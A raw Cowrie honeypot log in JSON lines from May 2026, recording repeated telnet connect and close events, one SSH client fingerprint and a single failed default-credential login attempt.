{"eventid":"cowrie.session.closed","duration":30.761149883270264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:49.081381Z","src_ip":"154.53.41.252","session":"7f5349dc6356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f6d611ea17","protocol":"telnet","message":"New connection: 157.173.110.44:36606 (10.17.0.5:23) [session: c6f6d611ea17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:49.130952Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":46448,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd52fd29448a","protocol":"telnet","message":"New connection: 80.65.211.42:46448 (159.203.135.109:23) [session: bd52fd29448a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:49.285653Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36622,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e8f04e4c3c","protocol":"telnet","message":"New connection: 157.173.110.44:36622 (10.17.0.5:23) [session: f8e8f04e4c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:49.802472Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57626,"dst_ip":"10.17.0.5","dst_port":23,"session":"5064e0269386","protocol":"telnet","message":"New connection: 157.173.110.44:57626 (10.17.0.5:23) [session: 5064e0269386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:51.938603Z"}
{"eventid":"cowrie.session.closed","duration":30.855286359786987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:52.054864Z","src_ip":"154.53.41.252","session":"b25f431103d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.291701793670654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:52.185767Z","src_ip":"80.65.211.42","session":"d3ee9f2afe5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901758909225464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:52.691390Z","src_ip":"157.173.110.44","session":"33033c7a8375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210068464279175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:52.908088Z","src_ip":"157.173.110.44","session":"f744f9b23904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42071843147278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:53.332683Z","src_ip":"157.173.110.44","session":"481ad607d2f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44172,"dst_ip":"159.203.135.109","dst_port":23,"session":"68ba0fd66a41","protocol":"telnet","message":"New connection: 154.53.41.252:44172 (159.203.135.109:23) [session: 68ba0fd66a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:54.151925Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57636,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f45cd2643eb","protocol":"telnet","message":"New connection: 157.173.110.44:57636 (10.17.0.5:23) [session: 4f45cd2643eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:54.644957Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57650,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e05403fd83","protocol":"telnet","message":"New connection: 157.173.110.44:57650 (10.17.0.5:23) [session: e1e05403fd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:54.858563Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57652,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c50f18903ed","protocol":"telnet","message":"New connection: 157.173.110.44:57652 (10.17.0.5:23) [session: 5c50f18903ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:55.155244Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57662,"dst_ip":"10.17.0.5","dst_port":23,"session":"571ff7301579","protocol":"telnet","message":"New connection: 157.173.110.44:57662 (10.17.0.5:23) [session: 571ff7301579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:55.268327Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":45808,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e7ecfec5a30","protocol":"telnet","message":"New connection: 154.53.41.252:45808 (159.203.135.109:23) [session: 6e7ecfec5a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:55.286064Z"}
{"eventid":"cowrie.session.closed","duration":31.217967987060547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:55.336428Z","src_ip":"157.173.110.44","session":"e5b0dbbe96f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57670,"dst_ip":"10.17.0.5","dst_port":23,"session":"e74f0cfd9abd","protocol":"telnet","message":"New connection: 157.173.110.44:57670 (10.17.0.5:23) [session: e74f0cfd9abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:56.281941Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":54590,"dst_ip":"10.17.0.5","dst_port":22,"session":"937830cd9b57","protocol":"ssh","message":"New connection: 14.225.205.58:54590 (10.17.0.5:22) [session: 937830cd9b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:56.389808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:56.393365Z","src_ip":"14.225.205.58","session":"937830cd9b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00126838684082,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:56.421056Z","src_ip":"157.49.80.15","session":"d86e8f929b10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.299304246902466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:56.790582Z","src_ip":"157.173.110.44","session":"3036123eae77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57686,"dst_ip":"10.17.0.5","dst_port":23,"session":"fccc1aa3b4de","protocol":"telnet","message":"New connection: 157.173.110.44:57686 (10.17.0.5:23) [session: fccc1aa3b4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:57.058208Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:57.416768Z","src_ip":"14.225.205.58","session":"937830cd9b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57692,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d2ea6bb3b6","protocol":"telnet","message":"New connection: 157.173.110.44:57692 (10.17.0.5:23) [session: 87d2ea6bb3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:57.610597Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57704,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd639441e51c","protocol":"telnet","message":"New connection: 157.173.110.44:57704 (10.17.0.5:23) [session: bd639441e51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:57.704081Z"}
{"eventid":"cowrie.session.closed","duration":31.403371572494507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:58.004194Z","src_ip":"157.173.110.44","session":"3028c8463144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28290629386902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:58.330768Z","src_ip":"157.173.110.44","session":"d5e31d2a9430","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"catadmin","password":"catadmin","message":"login attempt [catadmin/catadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:58.519944Z","src_ip":"14.225.205.58","session":"937830cd9b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.942155838012695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:59.304076Z","src_ip":"157.173.110.44","session":"86681a3a7f56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:59.789660Z","src_ip":"14.225.205.58","session":"937830cd9b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.626291751861572,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:13:59.823526Z","src_ip":"157.173.110.44","session":"5feac758d0ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57706,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3902ed38ee0","protocol":"telnet","message":"New connection: 157.173.110.44:57706 (10.17.0.5:23) [session: e3902ed38ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:00.118383Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57718,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7081ad24dd","protocol":"telnet","message":"New connection: 157.173.110.44:57718 (10.17.0.5:23) [session: fd7081ad24dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:00.581684Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57730,"dst_ip":"10.17.0.5","dst_port":23,"session":"190e332ff4d8","protocol":"telnet","message":"New connection: 157.173.110.44:57730 (10.17.0.5:23) [session: 190e332ff4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:00.696846Z"}
{"eventid":"cowrie.session.closed","duration":31.397989749908447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:00.923024Z","src_ip":"157.173.110.44","session":"7b13aa360b61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":55278,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca42158cd9e8","protocol":"telnet","message":"New connection: 154.53.41.252:55278 (159.203.135.109:23) [session: ca42158cd9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:01.460932Z"}
{"eventid":"cowrie.session.closed","duration":31.039897680282593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:02.297114Z","src_ip":"157.173.110.44","session":"b675507fdb27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95189929008484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:03.210902Z","src_ip":"157.173.110.44","session":"ec538d7dec07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20397424697876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:03.741213Z","src_ip":"157.173.110.44","session":"e13259fff86b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.380271434783936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:04.442625Z","src_ip":"157.173.110.44","session":"971b81983ea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730764389038086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:05.328990Z","src_ip":"157.173.110.44","session":"da8bfbca0507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.793880224227905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:06.908181Z","src_ip":"157.173.110.44","session":"293b675fb691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.826175928115845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:07.210337Z","src_ip":"80.65.211.42","session":"826695f5b207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":51834,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b070a1be93f","protocol":"telnet","message":"New connection: 157.173.110.44:51834 (10.17.0.5:23) [session: 8b070a1be93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:08.377973Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":51840,"dst_ip":"10.17.0.5","dst_port":23,"session":"71fd0b46384b","protocol":"telnet","message":"New connection: 157.173.110.44:51840 (10.17.0.5:23) [session: 71fd0b46384b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:09.930521Z"}
{"eventid":"cowrie.session.closed","duration":31.286600828170776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:12.362120Z","src_ip":"80.65.211.42","session":"18e990813148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49846,"dst_ip":"10.17.0.5","dst_port":23,"session":"7538edd44c90","protocol":"telnet","message":"New connection: 157.173.110.44:49846 (10.17.0.5:23) [session: 7538edd44c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:12.526346Z"}
{"eventid":"cowrie.session.closed","duration":31.623156785964966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:12.687895Z","src_ip":"157.173.110.44","session":"90ee89c89466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49852,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b80bed74b8b","protocol":"telnet","message":"New connection: 157.173.110.44:49852 (10.17.0.5:23) [session: 1b80bed74b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:12.975871Z"}
{"eventid":"cowrie.session.closed","duration":31.752622842788696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:13.047241Z","src_ip":"157.173.110.44","session":"563409b13c2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.328920602798462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:13.173245Z","src_ip":"157.173.110.44","session":"08ab67b518d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49856,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ea48db6a66","protocol":"telnet","message":"New connection: 157.173.110.44:49856 (10.17.0.5:23) [session: 58ea48db6a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:13.352278Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49872,"dst_ip":"10.17.0.5","dst_port":23,"session":"82185dc98532","protocol":"telnet","message":"New connection: 157.173.110.44:49872 (10.17.0.5:23) [session: 82185dc98532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:13.697171Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49886,"dst_ip":"10.17.0.5","dst_port":23,"session":"599b6dfef2f7","protocol":"telnet","message":"New connection: 157.173.110.44:49886 (10.17.0.5:23) [session: 599b6dfef2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:14.013407Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49890,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc007d8cbb7","protocol":"telnet","message":"New connection: 157.173.110.44:49890 (10.17.0.5:23) [session: 0cc007d8cbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:14.093012Z"}
{"eventid":"cowrie.session.closed","duration":30.313541412353516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:14.171532Z","src_ip":"157.173.110.44","session":"4c8c7f397e81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169039487838745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:14.782900Z","src_ip":"157.173.110.44","session":"4aac480effe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4181969165802,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:15.107477Z","src_ip":"154.53.41.252","session":"7d7bd6580cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23622179031372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:15.190653Z","src_ip":"157.173.110.44","session":"e9856b881e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57633399963379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:15.510890Z","src_ip":"157.173.110.44","session":"dc3300b4ad97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.131423711776733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:15.614339Z","src_ip":"157.173.110.44","session":"e92478d32092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49900,"dst_ip":"10.17.0.5","dst_port":23,"session":"f964ec3139f9","protocol":"telnet","message":"New connection: 157.173.110.44:49900 (10.17.0.5:23) [session: f964ec3139f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:15.670884Z"}
{"eventid":"cowrie.session.closed","duration":30.833736658096313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:16.036456Z","src_ip":"154.53.41.252","session":"9d9e5600c58a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49906,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f4792aceb6f","protocol":"telnet","message":"New connection: 157.173.110.44:49906 (10.17.0.5:23) [session: 9f4792aceb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:16.212790Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49918,"dst_ip":"10.17.0.5","dst_port":23,"session":"e65fa2757937","protocol":"telnet","message":"New connection: 157.173.110.44:49918 (10.17.0.5:23) [session: e65fa2757937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:16.863363Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49924,"dst_ip":"10.17.0.5","dst_port":23,"session":"d22820b2bc9b","protocol":"telnet","message":"New connection: 157.173.110.44:49924 (10.17.0.5:23) [session: d22820b2bc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:17.106799Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49928,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa19c30f1946","protocol":"telnet","message":"New connection: 157.173.110.44:49928 (10.17.0.5:23) [session: aa19c30f1946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:17.242133Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c64bfde60e83","protocol":"telnet","message":"New connection: 157.173.110.44:49932 (10.17.0.5:23) [session: c64bfde60e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:17.404727Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49944,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb7642d95e0e","protocol":"telnet","message":"New connection: 157.173.110.44:49944 (10.17.0.5:23) [session: cb7642d95e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:17.733647Z"}
{"eventid":"cowrie.session.closed","duration":30.946260929107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:18.166470Z","src_ip":"157.173.110.44","session":"5fcb12914d4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49962,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a8e3655343c","protocol":"telnet","message":"New connection: 157.173.110.44:49962 (10.17.0.5:23) [session: 9a8e3655343c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:18.599347Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49952,"dst_ip":"10.17.0.5","dst_port":23,"session":"507c51dfebb3","protocol":"telnet","message":"New connection: 157.173.110.44:49952 (10.17.0.5:23) [session: 507c51dfebb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:18.603273Z"}
{"eventid":"cowrie.session.closed","duration":30.90382671356201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:19.357283Z","src_ip":"157.173.110.44","session":"ec1f3fe15639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49976,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9d693f08c2","protocol":"telnet","message":"New connection: 157.173.110.44:49976 (10.17.0.5:23) [session: cd9d693f08c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:19.428898Z"}
{"eventid":"cowrie.session.closed","duration":31.05247211456299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:20.183323Z","src_ip":"157.173.110.44","session":"c6f6d611ea17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a3e4df7727","protocol":"telnet","message":"New connection: 157.173.110.44:49984 (10.17.0.5:23) [session: d6a3e4df7727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:20.242155Z"}
